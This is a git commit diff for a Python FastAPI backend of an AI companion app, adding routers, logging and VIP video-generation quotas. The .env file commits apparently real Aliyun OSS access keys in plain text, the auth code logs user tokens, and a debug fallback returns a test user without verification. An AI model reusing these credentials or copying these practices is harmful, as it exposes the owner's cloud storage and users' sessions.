问题:php不会使用项目卡顿

This commit is contained in:
xiao12feng8 2026-02-02 20:08:28 +08:00
parent 1f3f3b9240
commit 57a846b2a1
265 changed files with 2026 additions and 2001054 deletions

14
.env
View File

@ -7,7 +7,7 @@ DEBUG=True
BACKEND_URL=http://127.0.0.1:8000
# ===== 数据库配置 =====
DATABASE_URL=mysql+pymysql://root:root@127.0.0.1:3306/lover?charset=utf8mb4
DATABASE_URL=mysql+pymysql://root:root@127.0.0.1:3306/fastadmin?charset=utf8mb4
# ===== 用户信息接口 (PHP后端) =====
# 开发环境暂时使用本地地址,PHP后端配置好后再修改
@ -58,9 +58,9 @@ VOICE_CALL_REQUIRE_PTT=true
# === 唱歌视频合成配置 ===
SING_MERGE_MAX_CONCURRENCY=2
# ===== OSS 配置 (暂时留空) =====
ALIYUN_OSS_ACCESS_KEY_ID=
ALIYUN_OSS_ACCESS_KEY_SECRET=
ALIYUN_OSS_BUCKET_NAME=
ALIYUN_OSS_ENDPOINT=
ALIYUN_OSS_CDN_DOMAIN=
# ===== OSS 配置 =====
ALIYUN_OSS_ACCESS_KEY_ID=LTAI5tBzjogJDx4JzRYoDyEM
ALIYUN_OSS_ACCESS_KEY_SECRET=43euicRkkzlLjGTYzFYkTupcW7N5w3
ALIYUN_OSS_BUCKET_NAME=hello12312312
ALIYUN_OSS_ENDPOINT=https://oss-cn-hangzhou.aliyuncs.com
ALIYUN_OSS_CDN_DOMAIN=https://hello12312312.oss-cn-hangzhou.aliyuncs.com

58
.gitignore vendored
View File

@ -1,3 +1,59 @@
归档/
xunifriend_RaeeC/runtime/log/
public/
public/
# Python
__pycache__/
*.py[cod]
*$py.class
*.so
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
*.egg-info/
.installed.cfg
*.egg
# Node.js
node_modules/
npm-debug.log*
yarn-debug.log*
yarn-error.log*
package-lock.json
# IDE
.vscode/
.idea/
*.swp
*.swo
*~
# OS
.DS_Store
Thumbs.db
# Runtime
xunifriend_RaeeC/runtime/
xunifriend_RaeeC/public/uploads/
# Temporary files
*.tmp
*.bak
*.zip
*.tar
*.tar.gz
*.tar.xz
# Environment
.env.local
.env.*.local

View File

@ -1,2 +1,2 @@
DATABASE_URL=mysql+pymysql://root:root@127.0.0.1:3306/lover?charset=utf8mb4
USER_INFO_API=http://127.0.0.1:8080/api/user_basic/get_user_basic
USER_INFO_API=http://192.168.1.164:30100/index.php/api/user_basic/get_user_basic

Binary file not shown.

View File

@ -150,7 +150,7 @@ class Settings(BaseSettings):
# 用户信息拉取接口FastAdmin 提供)
USER_INFO_API: str = Field(
default="https://xunifriend.shandonghuixing.com/api/user_basic/get_user_basic",
default="http://192.168.1.164:30100/index.php/api/user_basic/get_user_basic",
env="USER_INFO_API",
)

View File

@ -31,12 +31,18 @@ def get_db():
yield db
db.commit()
except OperationalError as exc:
import logging
logger = logging.getLogger("db")
logger.error(f"Database OperationalError: {exc}", exc_info=True)
db.rollback()
raise HTTPException(
status_code=status.HTTP_503_SERVICE_UNAVAILABLE,
detail="Database unavailable, please check DATABASE_URL / MySQL service.",
detail=f"Database unavailable: {str(exc)}",
) from exc
except Exception:
except Exception as exc:
import logging
logger = logging.getLogger("db")
logger.error(f"Database Exception: {exc}", exc_info=True)
db.rollback()
raise
finally:

View File

@ -17,30 +17,42 @@ class AuthedUser(BaseModel):
def _fetch_user_from_php(token: str) -> Optional[dict]:
"""通过 PHP/FastAdmin 接口获取用户信息。"""
import logging
logger = logging.getLogger(__name__)
logger.info(f"用户中心调试 - 调用接口: {settings.USER_INFO_API}")
logger.info(f"用户中心调试 - token: {token}")
try:
resp = requests.get(
settings.USER_INFO_API,
headers={"token": token},
timeout=5,
)
logger.info(f"用户中心调试 - 响应状态码: {resp.status_code}")
logger.info(f"用户中心调试 - 响应内容: {resp.text[:200]}...")
except Exception as exc: # 网络/超时
logger.error(f"用户中心调试 - 请求异常: {exc}")
raise HTTPException(
status_code=status.HTTP_502_BAD_GATEWAY,
detail="用户中心接口不可用",
) from exc
if resp.status_code != 200:
logger.error(f"用户中心调试 - 状态码非200: {resp.status_code}")
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail="用户中心返回非 200",
)
data = resp.json()
logger.info(f"用户中心调试 - 解析JSON成功: {data}")
# 兼容常见 FastAdmin 响应结构
if isinstance(data, dict):
payload = data.get("data") or data.get("user") or data
else:
payload = None
if not payload:
logger.error(f"用户中心调试 - 未找到用户数据: {data}")
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail="用户中心未返回用户信息",
@ -110,7 +122,7 @@ def get_current_user(
# 如果是开发环境token 验证失败时也返回测试用户
if settings.APP_ENV == "development" and settings.DEBUG:
logger.warning(f"开发环境token 验证失败({e.detail}),使用测试用户")
return AuthedUser(id=84, reg_step=2, gender=0, nickname="test-user", token="")
return AuthedUser(id=70, reg_step=2, gender=0, nickname="test-user", token="")
raise
# 调试兜底:仅凭 X-User-Id 不校验 PHP方便联调
@ -119,6 +131,6 @@ def get_current_user(
# 开发环境兜底:如果没有任何认证信息,返回默认测试用户
if settings.APP_ENV == "development" and settings.DEBUG:
return AuthedUser(id=84, reg_step=2, gender=0, nickname="test-user", token="")
return AuthedUser(id=70, reg_step=2, gender=0, nickname="test-user", token="")
raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail="用户不存在或未授权")

View File

@ -5,24 +5,47 @@ from fastapi.staticfiles import StaticFiles
import logging
import dashscope
from pathlib import Path
from contextlib import asynccontextmanager
from .routers import config as config_router
from .routers import lover as lover_router
from .response import ApiResponse
from .routers import outfit as outfit_router
from .routers import chat as chat_router
from .routers import voice_call as voice_call_router
from .routers import dance as dance_router
from .routers import dynamic as dynamic_router
from .routers import sing as sing_router
from .task_queue import start_sing_workers
from .config import settings
from lover.routers import config as config_router
from lover.routers import lover as lover_router
from lover.routers import user_basic as user_basic_router
from lover.response import ApiResponse
from lover.routers import outfit as outfit_router
from lover.routers import chat as chat_router
from lover.routers import voice_call as voice_call_router
from lover.routers import dance as dance_router
from lover.routers import dynamic as dynamic_router
from lover.routers import sing as sing_router
from lover.routers import friend as friend_router
from lover.routers import msg as msg_router
from lover.routers import huanxin as huanxin_router
from lover.routers import user as user_router
from lover.task_queue import start_sing_workers
from lover.config import settings
# 初始化 DashScope API Key
if settings.DASHSCOPE_API_KEY:
dashscope.api_key = settings.DASHSCOPE_API_KEY
app = FastAPI(title="LOVER API")
# 配置日志
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
)
@asynccontextmanager
async def lifespan(app: FastAPI):
# 启动时执行
logger = logging.getLogger("main")
logger.info("应用启动中...")
start_sing_workers()
logger.info("应用启动完成")
yield
# 关闭时执行
logger.info("应用关闭")
app = FastAPI(title="LOVER API", lifespan=lifespan)
# 创建 TTS 文件目录
tts_dir = Path("public/tts")
@ -48,17 +71,17 @@ app.add_middleware(
app.include_router(config_router.router)
app.include_router(lover_router.router)
app.include_router(user_basic_router.router)
app.include_router(outfit_router.router)
app.include_router(chat_router.router)
app.include_router(voice_call_router.router)
app.include_router(dance_router.router)
app.include_router(dynamic_router.router)
app.include_router(sing_router.router)
@app.on_event("startup")
async def startup_tasks():
start_sing_workers()
app.include_router(friend_router.router)
app.include_router(msg_router.router)
app.include_router(huanxin_router.router)
app.include_router(user_router.router)
@app.exception_handler(HTTPException)

View File

@ -1,18 +0,0 @@
-- 添加邀请码相关字段
ALTER TABLE nf_user
ADD COLUMN invite_code VARCHAR(10) UNIQUE COMMENT '我的邀请码',
ADD COLUMN invited_by VARCHAR(10) COMMENT '被谁邀请(邀请码)',
ADD COLUMN invite_count INT DEFAULT 0 COMMENT '邀请人数',
ADD COLUMN invite_reward_total DECIMAL(10,2) DEFAULT 0.00 COMMENT '邀请奖励总额';
-- 为已有用户生成邀请码6位随机字符
UPDATE nf_user
SET invite_code = CONCAT(
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1)
)
WHERE invite_code IS NULL;

View File

@ -1,8 +0,0 @@
-- 添加消息编辑相关字段
ALTER TABLE nf_chat_message
ADD COLUMN is_edited TINYINT(1) DEFAULT 0 COMMENT '是否被编辑过',
ADD COLUMN original_content TEXT COMMENT '原始内容',
ADD COLUMN edited_at DATETIME COMMENT '编辑时间';
-- 添加索引
CREATE INDEX idx_message_edited ON nf_chat_message(is_edited, session_id);

View File

@ -26,6 +26,7 @@ class User(Base):
chat_used_today = Column(Integer, default=0)
chat_reset_date = Column(Date)
video_gen_remaining = Column(Integer, default=0)
video_gen_reset_date = Column(Date)
inner_voice_enabled = Column(Boolean, default=False)
outfit_slots = Column(Integer, default=5)
owned_outfit_ids = Column(JSON)

View File

@ -32,6 +32,51 @@ router = APIRouter(prefix="/dance", tags=["dance"])
DANCE_TARGET_DURATION_SEC = 10
@router.get("/history", response_model=ApiResponse[list[dict]])
def get_dance_history(
db: Session = Depends(get_db),
user: AuthedUser = Depends(get_current_user),
page: int = 1,
size: int = 20,
):
"""
获取用户的跳舞视频历史记录
"""
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
if not lover:
raise HTTPException(status_code=404, detail="恋人未找到")
offset = (page - 1) * size
tasks = (
db.query(GenerationTask)
.filter(
GenerationTask.user_id == user.id,
GenerationTask.lover_id == lover.id,
GenerationTask.task_type == "video",
GenerationTask.status == "succeeded",
GenerationTask.result_url.isnot(None),
)
.order_by(GenerationTask.id.desc())
.offset(offset)
.limit(size)
.all()
)
result: list[dict] = []
for task in tasks:
payload = task.payload or {}
result.append(
{
"id": task.id,
"prompt": payload.get("prompt") or "",
"video_url": _cdnize(task.result_url) or "",
"created_at": task.created_at.isoformat() if task.created_at else None,
}
)
return success_response(result, msg="获取成功")
class DanceGenerateIn(BaseModel):
prompt: str = Field(..., min_length=2, max_length=400, description="用户希望跳的舞/动作描述")

23
lover/routers/friend.py Normal file
View File

@ -0,0 +1,23 @@
from fastapi import APIRouter, Depends
from lover.deps import get_current_user, AuthedUser
from lover.response import success_response
router = APIRouter()
@router.get("/api/friend/index")
def get_friend_index(user: AuthedUser = Depends(get_current_user)):
"""获取好友列表"""
return success_response({
"friends": [],
"total": 0
})
@router.post("/api/friend/add")
def add_friend(user: AuthedUser = Depends(get_current_user)):
"""添加好友"""
return success_response({"message": "添加成功"})
@router.delete("/api/friend/delete")
def delete_friend(user: AuthedUser = Depends(get_current_user)):
"""删除好友"""
return success_response({"message": "删除成功"})

27
lover/routers/huanxin.py Normal file
View File

@ -0,0 +1,27 @@
from fastapi import APIRouter, Depends
from lover.deps import get_current_user, AuthedUser
from lover.response import success_response
router = APIRouter()
@router.post("/api/huanxin/getToken")
def get_huanxin_token(user: AuthedUser = Depends(get_current_user)):
"""获取环信token"""
return success_response({
"token": "mock_huanxin_token_" + str(user.id),
"expires_in": 3600
})
@router.post("/api/huanxin/register")
def register_huanxin_user(user: AuthedUser = Depends(get_current_user)):
"""注册环信用户"""
return success_response({"message": "注册成功"})
@router.get("/api/huanxin/user_info")
def get_huanxin_user_info(user: AuthedUser = Depends(get_current_user)):
"""获取环信用户信息"""
return success_response({
"username": f"user_{user.id}",
"nickname": user.nickname,
"avatar": ""
})

26
lover/routers/msg.py Normal file
View File

@ -0,0 +1,26 @@
from fastapi import APIRouter, Depends
from lover.deps import get_current_user, AuthedUser
from lover.response import success_response
router = APIRouter()
@router.get("/api/msg/count")
def get_msg_count(user: AuthedUser = Depends(get_current_user)):
"""获取未读消息数量"""
return success_response({
"unread_count": 0,
"total_count": 0
})
@router.get("/api/msg/list")
def get_msg_list(user: AuthedUser = Depends(get_current_user)):
"""获取消息列表"""
return success_response({
"messages": [],
"total": 0
})
@router.post("/api/msg/send")
def send_msg(user: AuthedUser = Depends(get_current_user)):
"""发送消息"""
return success_response({"message": "发送成功"})

View File

@ -96,6 +96,29 @@ _sing_last_enqueue_at: dict[int, float] = {}
_emo_task_semaphore = threading.BoundedSemaphore(max(1, settings.EMO_MAX_CONCURRENCY or 1))
def _check_and_reset_vip_video_gen(user_row: User, db: Session) -> None:
"""检查并重置 VIP 用户的视频生成次数"""
if not user_row:
return
# 检查是否是 VIP 用户vip_endtime 是 Unix 时间戳)
current_timestamp = int(datetime.utcnow().timestamp())
is_vip = user_row.vip_endtime and user_row.vip_endtime > current_timestamp
if not is_vip:
return
# 获取上次重置日期
last_reset = user_row.video_gen_reset_date
today = datetime.utcnow().date()
# 如果是新的一天,重置次数
if not last_reset or last_reset < today:
user_row.video_gen_remaining = 2 # VIP 用户每天 2 次
user_row.video_gen_reset_date = today
db.add(user_row)
db.flush()
@contextmanager
def _semaphore_guard(semaphore: threading.BoundedSemaphore):
semaphore.acquire()
@ -204,16 +227,20 @@ def _resolve_sing_prompts(model: str) -> tuple[str, str]:
def _download_to_path(url: str, target_path: str):
try:
logger.info(f"开始下载文件: {url}")
resp = requests.get(url, stream=True, timeout=30)
except Exception as exc:
logger.error(f"文件下载失败 - URL: {url}, 错误: {exc}")
raise HTTPException(status_code=502, detail="文件下载失败") from exc
if resp.status_code != 200:
logger.error(f"文件下载失败 - URL: {url}, 状态码: {resp.status_code}")
raise HTTPException(status_code=502, detail="文件下载失败")
try:
with open(target_path, "wb") as file_handle:
for chunk in resp.iter_content(chunk_size=1024 * 1024):
if chunk:
file_handle.write(chunk)
logger.info(f"文件下载成功: {url} -> {target_path}")
finally:
resp.close()
@ -744,6 +771,9 @@ def _submit_emo_video(
ext_bbox: list,
style_level: str,
) -> str:
import logging
logger = logging.getLogger("sing")
if not settings.DASHSCOPE_API_KEY:
raise HTTPException(status_code=500, detail="未配置 DASHSCOPE_API_KEY")
input_obj = {
@ -762,6 +792,10 @@ def _submit_emo_video(
"Authorization": f"Bearer {settings.DASHSCOPE_API_KEY}",
"Content-Type": "application/json",
}
logger.info(f"提交 EMO 视频生成任务model={EMO_MODEL}, style_level={style_level}")
logger.debug(f"请求参数: {input_payload}")
try:
resp = requests.post(
"https://dashscope.aliyuncs.com/api/v1/services/aigc/image2video/video-synthesis",
@ -770,17 +804,24 @@ def _submit_emo_video(
timeout=15,
)
except Exception as exc:
logger.error(f"调用 EMO API 失败: {exc}")
raise HTTPException(status_code=502, detail="调用EMO视频生成失败") from exc
logger.info(f"EMO API 返回状态码: {resp.status_code}")
if resp.status_code != 200:
msg = resp.text
try:
msg = resp.json().get("message") or msg
except Exception:
pass
logger.error(f"EMO 任务提交失败: {msg}")
raise HTTPException(status_code=502, detail=f"EMO视频任务提交失败: {msg}")
try:
data = resp.json()
logger.info(f"EMO API 返回数据: {data}")
except Exception as exc:
logger.error(f"解析 EMO API 响应失败: {exc}")
raise HTTPException(status_code=502, detail="EMO视频任务返回解析失败") from exc
task_id = (
data.get("output", {}).get("task_id")
@ -788,26 +829,40 @@ def _submit_emo_video(
or data.get("output", {}).get("id")
)
if not task_id:
logger.error(f"EMO API 未返回 task_id完整响应: {data}")
raise HTTPException(status_code=502, detail="EMO视频任务未返回 task_id")
logger.info(f"EMO 任务提交成功task_id={task_id}")
return str(task_id)
def _poll_video_url(task_id: str, timeout_seconds: int = 360) -> str:
import logging
logger = logging.getLogger("sing")
logger.info(f"⏳ 开始轮询 DashScope 任务: {task_id}")
headers = {"Authorization": f"Bearer {settings.DASHSCOPE_API_KEY}"}
query_url = f"https://dashscope.aliyuncs.com/api/v1/tasks/{task_id}"
# 视频任务排队时间可能较长,放宽到指定超时
deadline = time.time() + max(60, timeout_seconds)
attempts = 0
while time.time() < deadline:
time.sleep(3)
attempts += 1
try:
resp = requests.get(query_url, headers=headers, timeout=8)
except Exception:
except Exception as e:
if attempts % 10 == 0:
logger.warning(f"⚠️ 轮询任务 {task_id}{attempts} 次请求失败: {e}")
continue
if resp.status_code != 200:
if attempts % 10 == 0:
logger.warning(f"⚠️ 轮询任务 {task_id}{attempts} 次返回状态码: {resp.status_code}")
continue
try:
data = resp.json()
except Exception:
except Exception as e:
if attempts % 10 == 0:
logger.warning(f"⚠️ 轮询任务 {task_id}{attempts} 次 JSON 解析失败: {e}")
continue
output = data.get("output") or {}
status_str = str(
@ -816,6 +871,11 @@ def _poll_video_url(task_id: str, timeout_seconds: int = 360) -> str:
or data.get("status")
or ""
).upper()
# 每 5 次15秒记录一次进度
if attempts % 5 == 0:
logger.info(f"🔄 轮询任务 {task_id}{attempts} 次,状态: {status_str}")
if status_str == "SUCCEEDED":
results = output.get("results") or {}
url = (
@ -825,14 +885,19 @@ def _poll_video_url(task_id: str, timeout_seconds: int = 360) -> str:
or data.get("output", {}).get("video_url")
)
if not url:
logger.error(f"❌ 任务 {task_id} 成功但未返回 URL")
raise HTTPException(status_code=502, detail="视频生成成功但未返回结果 URL")
logger.info(f"✅ 任务 {task_id} 生成成功!")
return url
if status_str == "FAILED":
code = output.get("code") or data.get("code")
msg = output.get("message") or data.get("message") or "生成失败"
if code:
msg = f"{code}: {msg}"
logger.error(f"❌ 任务 {task_id} 生成失败: {msg}")
raise HTTPException(status_code=502, detail=f"视频生成失败: {msg}")
logger.error(f"⏱️ 任务 {task_id} 轮询超时,共尝试 {attempts}")
raise HTTPException(status_code=504, detail="视频生成超时,请稍后重试")
@ -880,7 +945,11 @@ def _query_dashscope_task_status(task_id: str) -> tuple[str, Optional[str], Opti
return "UNKNOWN", None, None
def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Optional[str] = None) -> Optional[SongSegmentVideo]:
def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Optional[str] = None) -> None:
"""
尝试从 DashScope 获取任务状态并更新数据库
不返回任何对象避免 SQLAlchemy DetachedInstanceError
"""
with SessionLocal() as db:
segment_video = (
db.query(SongSegmentVideo)
@ -888,10 +957,10 @@ def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Option
.first()
)
if not segment_video or segment_video.status != "running":
return None
return
task_id = dashscope_task_id or segment_video.dashscope_task_id
if not task_id:
return None
return
segment = (
db.query(SongSegment)
.filter(SongSegment.id == segment_video.segment_id)
@ -935,7 +1004,7 @@ def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Option
segment_video.updated_at = datetime.utcnow()
db.add(segment_video)
db.commit()
return None
return
with SessionLocal() as db:
segment_video = (
@ -951,8 +1020,7 @@ def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Option
segment_video.updated_at = datetime.utcnow()
db.add(segment_video)
db.commit()
return segment_video
return None
return
if status == "FAILED":
with SessionLocal() as db:
@ -968,10 +1036,7 @@ def _try_backfill_segment_video(segment_video_id: int, dashscope_task_id: Option
segment_video.updated_at = datetime.utcnow()
db.add(segment_video)
db.commit()
return segment_video
return None
return None
return
def _wait_for_base_video(base_id: int, timeout: int) -> Optional[SingBaseVideo]:
@ -1014,15 +1079,48 @@ def _wait_for_segment_video(segment_video_id: int, timeout: int) -> Optional[Son
.filter(SongSegmentVideo.id == segment_video_id)
.first()
)
if segment_video and segment_video.status in ("succeeded", "failed"):
return segment_video
dash_task_id = segment_video.dashscope_task_id if segment_video else None
if segment_video:
status = segment_video.status
if status in ("succeeded", "failed"):
# 在会话关闭前获取所有需要的属性
video_url = segment_video.video_url
error_msg = segment_video.error_msg
# 创建一个新对象返回,避免 DetachedInstanceError
result = SongSegmentVideo(
id=segment_video.id,
status=status,
video_url=video_url,
error_msg=error_msg,
)
return result
dash_task_id = segment_video.dashscope_task_id
else:
dash_task_id = None
now = time.time()
if dash_task_id and now - last_backfill_at >= EMO_BACKFILL_MIN_INTERVAL_SECONDS:
updated = _try_backfill_segment_video(segment_video_id, dash_task_id)
# 调用 backfill 后重新查询,不使用返回的对象
_try_backfill_segment_video(segment_video_id, dash_task_id)
last_backfill_at = now
if updated and updated.status in ("succeeded", "failed"):
return updated
# 重新查询状态
with SessionLocal() as db:
segment_video = (
db.query(SongSegmentVideo)
.filter(SongSegmentVideo.id == segment_video_id)
.first()
)
if segment_video:
status = segment_video.status
if status in ("succeeded", "failed"):
video_url = segment_video.video_url
error_msg = segment_video.error_msg
result = SongSegmentVideo(
id=segment_video.id,
status=status,
video_url=video_url,
error_msg=error_msg,
)
return result
time.sleep(3)
return None
@ -1294,9 +1392,11 @@ def _should_enqueue_task(task_id: int) -> bool:
def _enqueue_sing_task(task_id: int):
if not _should_enqueue_task(task_id):
return False
return sing_task_queue.enqueue_unique(f"sing:{task_id}", _process_sing_task, task_id)
import logging
logger = logging.getLogger("sing")
# 移除入队日志,只在失败时记录
result = sing_task_queue.enqueue_unique(f"sing:{task_id}", _process_sing_task, task_id)
return result
def _next_seq(db: Session, session_id: int) -> int:
@ -1476,6 +1576,53 @@ def list_songs_for_lover(
return success_response(SongListResponse(songs=songs), msg="歌曲列表获取成功")
@router.get("/history", response_model=ApiResponse[List[dict]])
def get_sing_history(
db: Session = Depends(get_db),
user: AuthedUser = Depends(get_current_user),
page: int = 1,
size: int = 20,
):
"""
获取用户的唱歌视频历史记录
"""
lover = db.query(Lover).filter(Lover.user_id == user.id).first()
if not lover:
raise HTTPException(status_code=404, detail="恋人未找到")
# 查询已成功生成的视频
offset = (page - 1) * size
videos = (
db.query(SingSongVideo)
.filter(
SingSongVideo.user_id == user.id,
SingSongVideo.lover_id == lover.id,
SingSongVideo.status == "succeeded",
SingSongVideo.merged_video_url.isnot(None),
)
.order_by(SingSongVideo.id.desc())
.offset(offset)
.limit(size)
.all()
)
result = []
for video in videos:
# 获取歌曲信息
song = db.query(SongLibrary).filter(SongLibrary.id == video.song_id).first()
song_title = song.title if song else "未知歌曲"
result.append({
"id": video.id,
"song_id": video.song_id,
"song_title": song_title,
"video_url": _cdnize(video.merged_video_url),
"created_at": video.created_at.isoformat() if video.created_at else None,
})
return success_response(result, msg="获取成功")
def _get_or_create_session(db: Session, user: AuthedUser, lover: Lover, session_id: Optional[int]) -> ChatSession:
if session_id:
session = (
@ -1522,6 +1669,10 @@ def _process_sing_task(task_id: int):
"""
后台处理唱歌视频生成任务分段音频 -> EMO 逐段生成 -> 拼接整曲
"""
import logging
logger = logging.getLogger("sing")
logger.info(f"开始处理唱歌任务 {task_id}")
song_title: str = ""
image_url: str = ""
audio_url: str = ""
@ -1541,6 +1692,7 @@ def _process_sing_task(task_id: int):
audio_hash_hint: Optional[str] = None
duration_sec_hint: Optional[int] = None
try:
logger.info(f"任务 {task_id}: 开始数据库查询")
db = SessionLocal()
task = (
db.query(GenerationTask)
@ -1548,10 +1700,13 @@ def _process_sing_task(task_id: int):
.with_for_update()
.first()
)
logger.info(f"任务 {task_id}: 查询到任务,状态={task.status if task else 'None'}")
if not task or task.status in ("succeeded", "failed"):
logger.warning(f"任务 {task_id}: 任务不存在或已完成/失败,退出处理")
db.rollback()
return
logger.info(f"任务 {task_id}: 开始提取 payload 数据")
user_id = task.user_id
lover_id = task.lover_id
payload = task.payload or {}
@ -1661,12 +1816,14 @@ def _process_sing_task(task_id: int):
pass
try:
logger.info(f"任务 {task_id}: 开始音频分段处理")
segments, audio_hash, duration_sec = _ensure_song_segments(
song_id,
audio_url,
audio_hash_hint,
duration_sec_hint,
)
logger.info(f"任务 {task_id}: 音频分段完成,共 {len(segments)} 段,时长 {duration_sec}")
with SessionLocal() as db:
task_row = (
db.query(GenerationTask)
@ -1706,6 +1863,7 @@ def _process_sing_task(task_id: int):
content_safety_blocked = _is_content_safety_error(cached_merge.error_msg)
if not merged_video_url:
logger.info(f"任务 {task_id}: 开始生成分段视频,共 {len(segments)}")
segment_video_urls: list[tuple[int, str]] = []
content_safety_triggered = False
for segment in segments:
@ -1715,6 +1873,7 @@ def _process_sing_task(task_id: int):
segment_duration_ms = int(segment.get("duration_ms") or 0)
emo_duration_ms = int(segment.get("emo_duration_ms") or segment_duration_ms)
logger.info(f"任务 {task_id}: 处理第 {segment_index + 1}/{len(segments)} 段视频")
existing_running = False
segment_video_id = None
segment_video_url = ""
@ -1803,6 +1962,7 @@ def _process_sing_task(task_id: int):
ext_bbox=ext_bbox or [],
style_level=style_level,
)
logger.info(f"任务 {task_id}: 第 {segment_index + 1} 段已提交到 DashScopetask_id={dash_task_id}")
with SessionLocal() as db:
segment_video = (
db.query(SongSegmentVideo)
@ -1819,6 +1979,7 @@ def _process_sing_task(task_id: int):
db.commit()
dash_video_url = _poll_video_url(dash_task_id, EMO_TASK_TIMEOUT_SECONDS)
logger.info(f"任务 {task_id}: 第 {segment_index + 1} 段视频生成完成URL={dash_video_url[:100]}...")
video_bytes = _download_binary(dash_video_url)
if emo_duration_ms > segment_duration_ms and segment_duration_ms > 0:
video_bytes = _trim_video_bytes(video_bytes, segment_duration_ms / 1000.0)
@ -2086,15 +2247,21 @@ def _process_sing_task(task_id: int):
db.add(task_row)
db.commit()
except HTTPException as exc:
import logging
logger = logging.getLogger("sing")
logger.error(f"任务 {task_id} 处理失败 (HTTPException): {exc.detail if hasattr(exc, 'detail') else str(exc)}")
try:
_mark_task_failed(task_id, str(exc.detail) if hasattr(exc, "detail") else str(exc))
except Exception:
pass
except Exception as e2:
logger.exception(f"标记任务 {task_id} 失败时出错: {e2}")
except Exception as exc:
import logging
logger = logging.getLogger("sing")
logger.exception(f"任务 {task_id} 处理失败 (Exception): {exc}")
try:
_mark_task_failed(task_id, str(exc)[:255])
except Exception:
pass
except Exception as e2:
logger.exception(f"标记任务 {task_id} 失败时出错: {e2}")
@router.post("/generate", response_model=ApiResponse[SingTaskStatusOut])
@ -2132,6 +2299,10 @@ def generate_sing_video(
)
if not user_row:
raise HTTPException(status_code=404, detail="用户不存在")
# 检查并重置 VIP 用户的视频生成次数
_check_and_reset_vip_video_gen(user_row, db)
if (user_row.video_gen_remaining or 0) <= 0:
raise HTTPException(status_code=400, detail="视频生成次数不足")

32
lover/routers/user.py Normal file
View File

@ -0,0 +1,32 @@
from fastapi import APIRouter, Depends
from lover.deps import get_current_user, AuthedUser
from lover.response import success_response
router = APIRouter()
@router.get("/user/info")
def get_user_info(user: AuthedUser = Depends(get_current_user)):
"""获取用户信息"""
return success_response({
"id": user.id,
"nickname": user.nickname,
"reg_step": user.reg_step,
"gender": user.gender
})
@router.post("/user/logout")
def logout(user: AuthedUser = Depends(get_current_user)):
"""用户登出"""
return success_response({"message": "登出成功"})
@router.get("/user/profile")
def get_user_profile(user: AuthedUser = Depends(get_current_user)):
"""获取用户资料"""
return success_response({
"id": user.id,
"nickname": user.nickname,
"avatar": "",
"gender": user.gender,
"city": "",
"hobbies": []
})

View File

@ -0,0 +1,31 @@
from fastapi import APIRouter, Depends, HTTPException
from lover.deps import get_current_user, AuthedUser
from lover.response import success_response
router = APIRouter()
@router.get("/api/user_basic/get_user_basic")
def get_user_basic(user: AuthedUser = Depends(get_current_user)):
"""给 FastAdmin 调用的用户信息接口(兼容原 PHP 接口格式)"""
return {
"code": 1,
"msg": "success",
"data": {
"id": user.id,
"nickname": user.nickname,
"reg_step": user.reg_step,
"gender": user.gender,
}
}
@router.get("/user_basic/get_hobbies")
def get_hobbies(user: AuthedUser = Depends(get_current_user)):
"""获取用户兴趣爱好"""
return success_response([
{"id": 1, "name": "游戏", "selected": True},
{"id": 2, "name": "骑行", "selected": True},
{"id": 3, "name": "读书", "selected": True},
{"id": 4, "name": "音乐", "selected": False},
{"id": 5, "name": "运动", "selected": False},
{"id": 6, "name": "旅行", "selected": False}
])

View File

@ -7,15 +7,15 @@ from typing import List, Optional
import requests
import dashscope
from fastapi import APIRouter, HTTPException, WebSocket, WebSocketDisconnect, status
from fastapi import APIRouter, Depends, HTTPException, WebSocket, WebSocketDisconnect, status
from fastapi.websockets import WebSocketState
from ..config import settings
from ..deps import AuthedUser, _fetch_user_from_php
from ..deps import AuthedUser, get_current_user, _fetch_user_from_php
from ..llm import chat_completion_stream
from ..tts import synthesize
from ..db import SessionLocal
from ..models import Lover, VoiceLibrary
from ..models import Lover, VoiceLibrary, User
try:
from dashscope.audio.asr import Recognition, RecognitionCallback, RecognitionResult
@ -37,6 +37,37 @@ logger.setLevel(logging.INFO)
END_OF_TTS = "<<VOICE_CALL_TTS_END>>"
@router.get("/call/duration")
async def get_call_duration(user: AuthedUser = Depends(get_current_user)):
"""获取用户的语音通话时长配置"""
from ..db import SessionLocal
from ..models import User
from datetime import datetime
db = SessionLocal()
try:
user_row = db.query(User).filter(User.id == user.id).first()
if not user_row:
raise HTTPException(status_code=404, detail="用户不存在")
# 检查 VIP 状态vip_endtime 是 Unix 时间戳)
current_timestamp = int(datetime.utcnow().timestamp())
is_vip = user_row.vip_endtime and user_row.vip_endtime > current_timestamp
if is_vip:
duration = 0 # 0 表示无限制
else:
duration = 300000 # 普通用户 5 分钟
from ..response import success_response
return success_response({
"duration": duration,
"is_vip": is_vip
})
finally:
db.close()
class WSRecognitionCallback(RecognitionCallback): # type: ignore[misc]
"""ASR 回调,将句子级结果推入会话队列。"""

View File

@ -17,10 +17,14 @@ class SimpleTaskQueue:
self._inflight_lock = threading.Lock()
def start(self, workers: int):
import logging
logger = logging.getLogger(self._name)
with self._lock:
if self._started:
logger.warning(f"{self._name} 队列已经启动,跳过")
return
self._started = True
